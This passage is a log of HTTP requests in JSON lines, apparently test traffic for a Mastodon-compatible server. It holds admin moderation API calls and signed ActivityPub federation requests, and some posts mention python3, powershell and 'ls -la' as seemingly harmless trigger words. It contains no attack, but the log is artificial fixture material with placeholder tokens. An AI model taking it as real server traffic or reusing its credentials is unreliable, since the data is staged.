{"method": "POST", "target": "/api/v1/admin/ip_blocks", "headers": ["Host: example.com", "Content-Length: 86", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "ip=198.51.100.0%2F24&severity=sign_up_requires_approval&comment=python3+signup+scripts"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/canonical_email_blocks/test", "headers": ["Host: example.com", "Content-Length: 24", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "email=spam%40example.org"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/accounts/117589325674471006/action", "headers": ["Host: example.com", "Content-Length: 95", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "type=none&text=Please+stop+posting+python3+and+powershell+malware&send_email_notification=false"}
|
||||||
|
{"method": "POST", "target": "/api/v1/admin/measures", "headers": ["Host: example.com", "Content-Length: 82", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM", "Content-Type: application/x-www-form-urlencoded"], "body": "keys%5B%5D=active_users&keys%5B%5D=new_users&start_at=2026-11-01&end_at=2026-11-09"}
|
||||||
|
{"method": "GET", "target": "/api/v1/admin/domain_allows?", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/api/v1/statuses/117589418035558426/unbookmark", "headers": ["Host: example.com", "Content-Length: 0", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "DELETE", "target": "/api/v1/statuses/117589418035558426", "headers": ["Host: example.com", "User-Agent: Tusky/27.2 Android/14", "Accept: application/json", "Accept-Encoding: gzip", "Authorization: Bearer kpJR8BRfy4i1zhHLX2GQfKXJa70PyR0ruwu_1v2p2RM"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=acct%3Aadmin%40example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=acct:bob@example.com", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/webfinger?resource=https%3A%2F%2Fexample.com%2Fusers%2Fadmin", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/jrd+json, application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/host-meta", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/xrd+xml", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/.well-known/nodeinfo", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/nodeinfo/2.0", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/api/v1/instance", "headers": ["Host: example.com", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Accept: application/json", "Accept-Encoding: gzip"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Y5ZuE0MOAi7ofZkpciGb+6B2x1570oCCl9NrPLnw3/N+YLlCU1pDBNlOvajumPfHhn1FYfxFD2iXhBCbhFX5YzRxFr4JiVQxtE6Az9N8zDuppQYSDUrFHzr/apPEz7MOeEKpnDZayLJOnLVITFfXo0zxS74deEjMxIbQiIT2dpsmqWoFOLppHbK09YFfrNWm1i/moefDCTKxwaeT0TaZThq163LGWhLI1hNyVGBrXteApuyxNMccJdDGwaJXMSq7GJjjEu0cibYljwP+lMBt/LEYyxnGA8PxFtqTgwLzXe1T5Dp8LSrT0xotd70cJM2NWZGljHY3rlULJMdCYr20bw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/actor", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"J+gTKwfdLDbez3w3ci6Gdl10xqi0jU1ot59nSnJWsY2ag7u6VQjLlAXNcq0DJ9KJrh8MXzldcbi/QwCKbZk1uz++rjZXSwvl74hR4Swq0y+az95jO3/HFtOKtQLyBTqPfb4sQCuFpdNEgg+gW+yTWCmbBMaL55IZD9wT+RRvEPOlx7H1T/IYgauqNY7wDE4bbqcQnu+ihA5N8ZZvYhSV5dPikCM1xbxL2QJRjcJTKV6l+wvBRwI/Zputjpk8PBTswi2oEkJSs5VN/my1LzZVYWL6W8jZSTzh/hoqOgsqo2ZYpnaT+8YbPI6qyxh8VMtPEyfY4tUBik0pjNKcaySvjw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/outbox", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"DXTJHzfDUc1Ez219MDV9THrpbiMVSvVzjOgogPBa3L+atf2RZ+RMn8NxIMN5FERFDyevnvMOgyj7AMOS+zCyMpyskFgYSnAFu4XCsUGffSFIASvKjWguTQ15gWGmsRGmF3tCQggw+voeOL0I+d+EEGAOgZoZ2QqF5i4qDk1GooQO/nYIVTrK83ARNx/QMm9nEqFHsBRPGdU3Mj16uWHNNKGyYVOdlx7hOKLBHDuCA0d8iu8RSp6ojkfriwUtySCTafKfYwM5THE+G3lFm8IkIQt0SiI1aZlp8KEpV64g9YywuM+JXXLeA3vYWD3JuaciwO7ay6m+dNSSZbbatZQ+6Q==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"HqhTPCnI/uaGcjevFuWVJrjiimE5eg4wbBE/O0KGuW8+HNl58yQqmGpRQl+WT5ETcQRHDxsNrJRBJa73PRyncAFTp55SDwL/v1RoTLMaARcPtWvuoYy8v1MXmXQMWdJOVxgr5TVzBT0kvfyvb6+Pf28nFwyPX7W/MGCjPaBpvUPK6yxwP0NI242BZeO0Rmh5AS+yUxHps/tz6mslOHiwHT2anRvSFuXi4/lyEL8PWqtT1G0LBDfs9LNjLNLi+bAB/hkrl9LU5MOCb+e4c5EeBjl77qENl6+gSuz4ctnv8uzgBAACvS3XWs6SjnbbYiUKYbz7IpcdU8YEbbllVS23eg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"hR/0PqXlBbIbQlIhnIvjKAkIQIlFFi1YBXk2IQG+MKl4/gBPHOD7qrn9XZy18h1KM99q2DUOHqv6IZ/PicGkSxfrLYSHz+7o19Vdx7GTy4xBEX8AuAsAzNfTPLZqzvc9hHhz4OC7c0sEcgOfYCqplXT5bzOV45uvf09F4kh0FnNCCfZzb68kN+qIYwwAvlhu0wndO0K2KyZnYvW2Ps2Z9XUpkpSbn2MrtqHrItWM/CqO6oTWg8Y5+qDFhvcSiZBfdJnUTOM2UmX5qr2A+Vdcv8eunlMEO9gWnr5Ny8E2cjbhe9oWUHyhE1+/TcQBSR28pFfR6z+qiqAKNtfvsYdCRw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/following", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"NCVb3fqv0GxCag4azSlbOa7Y3l1eeSqB6O0Bau7R9PHsZuWjL9siKYin68Z3wzCKIZiETwid17VWQCqVVZRszios2ReqdEWyGwu5yc1TbfJR+bsVpbH2jWu7oddOX1qjqv5BYCLrJKv/gCgNNdVtZW9LckQgsyP93IYTMSzwE8gUShhXiD/+E2B5aRIIwjvj/tJHfvwHKzid7OwlXg+TJJyBqQ1k1IIorbKMrnEBTiyCWVB2SGG/bzgf3hq4VHYCoAL3CZTLIg/VRSqiFanpkG6JwoyasG4bN+4QCW/SrX3qXZtTHg1BbR9Kj3txYFVTi+O//XhjddN7hNJIsObXJg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PStB/Ph3bi8x7XzkNTZeLYG7y9K16CqjcFceXAR5JFvmIcFuD2NDSW58ztcRGYxyXoYSTK4goX+AAqj/5nxe5BeC+4GpuwAb3SC4DkpjqsXsMKR5KjO5o9fpThXPa0W4R6a9+wbLwnAkwYp+pffL3tGmr7/AYOJ60+k4pVke9gjSFiFs/Sk5MRJmpx6WWkEnBmskYOuNHXwzBzBpJDjTND8obQqfTgH3Rh5c2Ps64JIM2sVwv88i2ht+jRDWljKWT4JlD4NjpugsVYPvIS8rTnIX3yHnVSo/MBMvVKYCqsq+TlmTO1trR8Y1IsyPUIJqeOSiBlf1YaWjzeecTzgRyA==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/collections/tags", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"SrnwSKrTyP5HYgBnfP5BasHWyq+4Gv3eoNz26RB9afPBiEIl3rxa4eY1qffuxI+ixCNB+4BwP29lI5OMPeZ9+kcT3dlhMiaNHrStlgyERErTlQQmFZJ1OmcOdxcAuWcS42QEebJnY5Tq4FEEWB6UlxyOlTLUTlfjJlR9wqwod6Z05MAqw/VGk7vQo1IyJGvzsqZRJjywZoAtcTmY/YYiYZKmlj9O3Uqx8/akk036It4G3K3+nFdlq3Xq8toX2lVuju3+qN3cLGNFXOofl8Mr/xAYGWvJv6Gq6H0E9zL+CF7Ohvqk4reZuZqajW7GZzb3Itna0Z2PKmwlZFqcEmYI/g==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Z66UywgTREmVnaPgrxwtnorjrgLEvqukvNCeZxB14/dSyIrnFEoVKbeYKfx0zqxp0uGMfOOS/kvtQ3+e8wKAxnmnTcqBA+s1ZKwwC3Czr9fDgtalaU8SKiKhIgw7uC7TcMgfW0kbO4dnycGJS+T8HUCH3GjawzReUfyqvavqoq+ELfHkBS1rS6l8z1AaOHgeKmU91CJwHOdQ+Md3QaLW8jJeO1UbS/qPPxK19nu++ebWtrCwyT99R/2mE6l0p95DP54IRtTXv2mkVI1xlT658r+qmYBh4WJz/uzyAblK3neFgrswt1LMjrDSG2fB2KasBPvJT/vex/NCj1a05v3xIQ==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/activity", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"ByHj36T4FIS1MRlx2nR9nkBYxpTMlJeX7kEz5lJ1jDc3mH+QVbAbXX/m+KuTKzTmTQqbS+xTaGS5PxqfrLzftYRvPkO5nOTJVhiywGpZTYnFJLc1HJg2Pc1GBwt9QnIBN1a0Bo/lJao8Zs3qyHtIdpkkw7z5OZHd7NexAKYyfPW14qUAXs2bdZZJkrylLALcjOPiN6EnJa9WGO0sCVdoQ2nriLxg8a4+9h7NDNEsk8DJkU/irqZmq4T0spkPuAxWu66M+nxKkgLdaIQjr6t53tFtYsgJPUOaNoduQqkU2Q2LDLudf+j/xCARdlvnmHc1tRTKiCg2KaxwD1cTCo+ntg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/admin/statuses/117589416124674245/replies?only_other_accounts=true&page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"PZq3O+0QkUmtiqATFHubQFnDuzOKSz7UddEerb4iWanAvsbfsTXjgeYe5P2XpITg9Tp4gKTWsKBKG9r/O42M1+f/Rzq+vqVzYEzQY2F/cpfE8MLnEVySeyygb416ZiNl/hms4fqwBh3SPnw8rDvRPxrUhixN+5LeMcOYM0f/PQdCBOIs18tD01ykjaptoo3+N7OhAw1EyGf7V0NRwtmHNLfbO8047OEn/T47E45AhfCJwKfynTBRThDWELnFiUsyc7qTdJppaaWhZH/ZFGUtSfEa9yPH/9IVuFvZp5SuZdP2kClQD5iI7SDTMvyvzNJnZAeGlLPcfCyNBtgY3wVZIw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/users/bob", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"aM31qv7EmZ8v7w+QZmlxCIQRiGNfRLUHPMZPjMAB/2KBsuppT7X3ZQxjEuh0RCrS7OWIa46Qwl/5rIyWqzLzmvP2fAEt+GVb9vg+EOlqnGLaDmqC31st6uXbF4dEcF5QiRWURZNeYPBGVnn8V+7tweeSFH5OXLPDU5O+VWwErIOgmbjhlsx0ObX0t7tVXTPpPP7MGRK2UxlMwimfXs5nb0ww3sb9MPaNwHXWcYhJqKLyBDuodWnEF6ZpIjEYaOlCyxYOWpGEQjvzA+tw+4oIbF4f1HERJAbARIK0ZXhfrjYwPgt3kODsfqjLQW7BJgnxKdCKbYlcMgWfSN0fgXVRgg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"faNJr4/Ij11scQKvdfquNq3+HJWT68PjUTM/JO7vVdy6IAbwWpARlP/4T45sffC+szDdGELiTtUz+dcFk+CjKn2VFCUGUdtT4C4vlw91dNg3P8EC0cL6gS1mPz1H7iIisw3Q1Y4lDU81mLwzINtXY8X8Vihi2ckvI3GmBTKA8sUHvkSROtnEe/XD2qD6xAaxt2hUt5Ah3tWTMlvFhh+bGPsihMPck9xAanMN21wKrdyagv2VMw2dVzO11DJ7CLnDAVYDlw03MlA5QxOPTIffUJbYKmdaHraC3AFn4YwqjsU7gdjx6ZNmDxdtgUlkJR+hZwCFvYjrxPrwq6PaLOkElw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"YT4xIe4XDFGLMGwEvw2rRNoLLu7F5IuYHQ0ABq8LDe/le/E0WVCFs7XuTNMVXbJj/UdjZXrG41owHmtguk1HIdDKU97Idd0GSyET8kbJPou2hyYVOqibB+OZC6u14OtVHzNVZuBTcaMEH6gLDAszwAUBHFLemRpJDBDYA90/ScybaSh4eqpnTzpdq5t86Z8W8OYy2H95Kz2U/VTMrkJU0RRZtAyjaMYh9Iwb7do/yoWon/tjxBANHXIbRUefPssRwvYP3axREflnSliHl8yBxWNp1mdT+jIm5WBhBuT+dMMX+UteUauOYgjWIr6T3YpgnwTLVSUm0QR0/54nInmnEg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/outbox?page=true", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:17 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"MPYJITBQjhGgO/o8vzZtUix99lzWNyGsW7P72VXygmzs0lmyWecerxXnyVg1yYeqFslH2APVqcetSDR0pk7kgXt9hFT1ovw/uflWOeY/U/l+TKsBoTUEpCzKXZIcfbwG36mZsohcvb/9mkRwWIoqr4vfcb4DgxxCOoUo7z8xgKUHSrgsVvtg3ps80aKWbGrCMb6uc1LMjBoqZeYde/N2y2f+dvB9hr0y+TZ2Te4WOYeKCQ4Zbqxk0DH9XgXMaEkCLGOLnbdO064VUxojxGpqh74QfdYHzVautS1wqTAbdoaj4ybKQLTxvTwGubmqIlV3EiPtgKXHrpNGMk2hBuD7+g==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/followers", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"Rzw6tw0U5I94GWg8TVu4Wkx9hgPzTTygZIOZPb/OioOvjVyQFhtSdNS/WthZzOwaqGQjkJtxqy+RHibQ906E5u2yeLJ5envDlGWCcQyBg+o71Fnrx0TEPZCtWt/jgkzW+VHA4GTTPumo0wztUt0S9JXDBPL6QOzBagbUhqDKq8Uegy/OXp5ayI767x43kCyOvBt3JaM+IiCMXgTFIu4KLH6MKKUVCy+jbkiaA1kJwhxuZrM6/JGo7Bi1WGaRkrqbU8YvBLhk39efFWpX/GHhWcpV9mMw90rxdjW01pUqTECViP8Y7d0FtkpJZv5OWKE48MRTDxBCTWyOI6gjyCfRxw==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/collections/featured", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/activity+json, application/ld+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"EuSQO+w1pQL02F2PszEwyTo9MuXwyXP1ZvaUaoKR/CBoIEvl11N6cpVczQHCx1UebmouZziouTm4WQsmIUTQ2/H8/Nw1jXd0aRTiqoIHof60D20ruI4ozH8VmUSMFtI0D0s7ktdM4MHmqNzl3qX3XzsfDvDQBPvOM0/dGVj/L2iE2fx1pxPDrIKTj5axCAyQafYxi25wIlYvbHbdzg5DIe5tVRdyFlFQx7RxgpNa8CknZZZ5qMBQXPIfbbqk4gL6EHHwYsZXmwHDZ7+5vjPjfA21JjsIfSEG2joRVgjSmCi9MMgTiBOkEL02yRam9CYpNZbykk/gj1Np90ah6Bz1bg==\""], "body": ""}
|
||||||
|
{"method": "GET", "target": "/ap/users/117589326485981102/statuses/117589416124674245", "headers": ["User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Accept: application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\", application/activity+json", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date (request-target)\",signature=\"RquCG3/BhYWVBEGO+kRCw3AEVI3Elgf1TG6Lc0KvISmuuYCWNUkfEbrNvd0zXRrQVW5I+qKOW47kJXyMDeQqiSDF4+s5OLD5bhxz36Jozmv1exbNIuand/mdiTdQQ8TNADi8ipHeloeu9jQdVyGR9WQ+yRTQEUINg0gcwTm3Ndng5rC7W6dT3ooPWmUXAaz0OsKN+pNJFayB7u20CHgmKol1JPF+haBC8xYGgfDasDjI3BgtPssaNUVbKgx9PWXmjpANetnBdhNXF1rwyUQ6PO5xyHu3oeJGqbeHLzZSCiABSC5tJnqy37F8N6J0rXZ0Klildpg9UgL9GF4TcdGYfQ==\""], "body": ""}
|
||||||
|
{"method": "POST", "target": "/ap/users/117589326485981102/inbox", "headers": ["Content-Length: 235", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=jiJBtB8rH8EldMvZ3w+Kbgk6hy0mzYVJs0zo0PMs7/I=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"OLBZLjqZF2DwLpWVe05XVi6qJ+XdWVpmfLfXkeBxZmQshnhsuARRb9PyZx6njZA4wtpxz0LVWl0fHX9WF4AXtDi1Ni4OlOkzIOf4EKaAWP3pXrt2M6MB7AccovdOCUVoK8U8QcgTTHHJCps2LrD/Jx8pN+nD0Ea6Xs0hFZXafThHqAMPFC69AbeoD6lzEHyYOvxUx+VrmMvGS3XinNXMGdJJCggt0NVXBf8zTdxvUz/sr6/XnXX7V1nsdMuoGNigh9WOt0XjD0iPlb4XIVsZyw5mTIDQDjs/fvt8q1mbN2Cut2AfgZI/m+zPGg8hxqwEVdWfqHKwnzxkgAGPROi40A==\""], "body": "{\"@context\":\"https://www.w3.org/ns/activitystreams\",\"id\":\"https://remote.example/8688907a953b43a1900142aac9bd6698\",\"type\":\"Follow\",\"actor\":\"https://remote.example/users/alice\",\"object\":\"https://example.com/ap/users/117589326485981102\"}"}
|
||||||
|
{"method": "POST", "target": "/inbox", "headers": ["Content-Length: 2682", "User-Agent: Mastodon/4.7.5 (http.rb/5.3.1; +https://remote.example/)", "Host: example.com", "Date: Tue, 10 Nov 2026 00:56:18 GMT", "Accept-Encoding: gzip", "Content-Type: application/activity+json", "Digest: SHA-256=ZjFyt6rNoRMAIVcrNVxxSHkW3hd/shnh6dqejBq8YwQ=", "Signature: keyId=\"https://remote.example/users/alice#main-key\",algorithm=\"rsa-sha256\",headers=\"host date content-type digest (request-target)\",signature=\"bAgmhxMQouHI6w1OzXpTEjmgqw0OvTMEYyuYpEDvwGlL6MbfBNKIpnlm8FbqtShlUWOBln04pIKxlANluR0p1ikevpmRWb8V3VXXOMvEL8/oQH+fJucOUBg6AiSktXP+ea0JDSj2sINXtVq7+lt9lRAy5V8cHA9QNc13Yzyeptv1p8sFb2/FxZ9Ms2YMuJa+DaEoLnY6UPPDeq7DBkYpyFgbE6Z7+fmbHymNvn5CMlMjneZF6RIrLd4CmtGDVgNEk+iVgo+0WwGVQymRhH91908xO7TW+u63yhxcs3odhmjkQOmdWDN9rTWRt8FtQe3dFWafJE8AEckErxH/VQvGIA==\""], "body": "{\"@context\":[\"https://www.w3.org/ns/activitystreams\",{\"ostatus\":\"http://ostatus.org#\",\"atomUri\":\"ostatus:atomUri\",\"inReplyToAtomUri\":\"ostatus:inReplyToAtomUri\",\"conversation\":\"ostatus:conversation\",\"sensitive\":\"as:sensitive\",\"toot\":\"http://joinmastodon.org/ns#\",\"votersCount\":\"toot:votersCount\",\"quote\":{\"@id\":\"https://w3id.org/fep/044f#quote\",\"@type\":\"@id\"},\"quoteUri\":\"http://fedibird.com/ns#quoteUri\",\"_misskey_quote\":\"https://misskey-hub.net/ns#_misskey_quote\",\"quoteAuthorization\":{\"@id\":\"https://w3id.org/fep/044f#quoteAuthorization\",\"@type\":\"@id\"},\"gts\":\"https://gotosocial.org/ns#\",\"interactionPolicy\":{\"@id\":\"gts:interactionPolicy\",\"@type\":\"@id\"},\"canFeature\":{\"@id\":\"https://w3id.org/fep/7aa9#canFeature\",\"@type\":\"@id\"},\"canQuote\":{\"@id\":\"gts:canQuote\",\"@type\":\"@id\"},\"automaticApproval\":{\"@id\":\"gts:automaticApproval\",\"@type\":\"@id\"},\"manualApproval\":{\"@id\":\"gts:manualApproval\",\"@type\":\"@id\"}},\"https://w3id.org/security/v1\"],\"id\":\"https://remote.example/users/alice/statuses/200/activity\",\"type\":\"Create\",\"actor\":\"https://remote.example/users/alice\",\"published\":\"2026-11-09T12:00:00Z\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"object\":{\"id\":\"https://remote.example/users/alice/statuses/200\",\"type\":\"Note\",\"summary\":null,\"inReplyTo\":null,\"published\":\"2026-11-09T12:00:00Z\",\"url\":\"https://remote.example/@alice/200\",\"attributedTo\":\"https://remote.example/users/alice\",\"to\":[\"https://www.w3.org/ns/activitystreams#Public\"],\"cc\":[\"https://remote.example/users/alice/followers\",\"https://example.com/ap/users/117589326485981102\"],\"sensitive\":false,\"conversation\":\"tag:remote.example,2026-11-09:objectId=200:objectType=Conversation\",\"content\":\"<p><span class=\\\"h-card\\\" translate=\\\"no\\\"><a href=\\\"https://example.com/@admin\\\" class=\\\"u-url mention\\\">@<span>admin</span></a></span> notes on python3, powershell, <code>ls -la</code> and .htaccess <a href=\\\"https://remote.example/tags/python3\\\" class=\\\"mention hashtag\\\" rel=\\\"tag\\\">#<span>python3</span></a></p>\",\"contentMap\":{\"en\":\"<p>notes on python3, powershell, ls -la and 